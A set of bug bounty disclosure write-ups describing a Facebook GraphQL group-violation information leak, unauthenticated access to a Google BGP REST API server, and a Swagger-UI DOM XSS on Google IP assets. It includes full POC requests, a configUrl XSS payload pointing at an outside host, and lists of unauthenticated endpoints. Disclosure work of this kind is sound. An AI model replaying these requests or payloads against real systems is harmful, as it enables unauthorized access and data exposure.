[Facebook] Determining Groups Community Standard Violations and False News

 There were two GraphQL endpoints which would have given a response saying whether if a group has made Community Standard Violations or False News without being a role or a member. This works on every type of Groups.

POC -

Request 1 -

=================================================

POST /graphql HTTP/1.1

Host: graph.facebook.com

doc_id=2942842929100492&variables={"params":{"path":"/groups/violations/queue/","params":"{\"group_id\":XXX,\"policy\":\"community_standards\"}","nt_context":{"using_white_navbar":true,"styles_id":"88fac8953d888ebba949084724decfeb","pixel_ratio":1},"extra_client_data":{}},"nt_context":{"using_white_navbar":true,"styles_id":"88fac8953d888ebba949084724decfeb","pixel_ratio":1},"scale":"1"}

=================================================

The response would say -"Admins in your group have posted or approved content that violates our Community Standards. If this continues, your group may be disabled.\"

Request 2 -

=================================================

POST /graphql HTTP/1.1

Host: graph.facebook.com

doc_id=2942842929100492&variables={"params":{"path":"/groups/violations/queue/","params":"{\"group_id\":XXX,\"policy\":\"misinformation\"}","nt_context":{"using_white_navbar":true,"styles_id":"88fac8953d888ebba949084724decfeb","pixel_ratio":1},"extra_client_data":{}},"nt_context":{"using_white_navbar":true,"styles_id":"88fac8953d888ebba949084724decfeb","pixel_ratio":1},"scale":"1"}

=================================================

Response would say - "No Recent False News in Your Group\"

[Google] Access to BGP server + DOM XSS

 A hacker could have had the access to a BGP REST API server without any authorisation which was leading to leak of internal network info, devices info, network configuration and modification. Apart from that, there was a DOM XSS vulnerability in the target IP asset as well. POC - An IP address had a BGP server running on it. The access to it was an API service " Sonic Network Management APIs". These API calls could have been made without authorisation(access_token) and they were all listed with specifications on - " https://IP/ui/model.html". Endpoints such as - /ui/model.html?urls.primaryName=sonic-interface.yaml#/sonic-interface/get_sonic_interface_sonic_interface /ui/model.html?urls.primaryName=sonic-port.yaml#/sonic-port/get_sonic_port_sonic_port /ui/model.html?urls.primaryName=openconfig-lldp.yaml#/openconfig-lldp/get_openconfig_lldp_lldp_interfaces /ui/model.html?urls.primaryName=openconfig-platform.yaml#/openconfig-platform/get_openconfig_platform_components...

[Google] YouTube "restconf" Swagger-UI XSS

  During my recon, I came across a few Google owned IP assets which were running "restconfig" services hosted on Swagger-UI. Dawid Moczadło has written a detailed article here . POC - Three IP assets on -  "https://IP/ui" were vulnerable to DOM XSS on this endpoint - "/ui/model.html?configUrl=http://hackingmonks/test.json". The Swagger-UI did show the available API endpoints for the service but had authorisation in place(access_token was needed). During this period, I had found 4th asset which had the same vulnerability along with additional exploitation, which was reported in another ticket. The write-up can be found here ( Access to BGP server + DOM XSS ). Timeline - Reported - 22.05.2023 Triaged - 22.05.2023 The assets were no longer accessible to the public -  09.06.2023 Accepted - 07.06.2023 Rewarded - 13.06.2023 Google's date for the fix - 08.12.2023
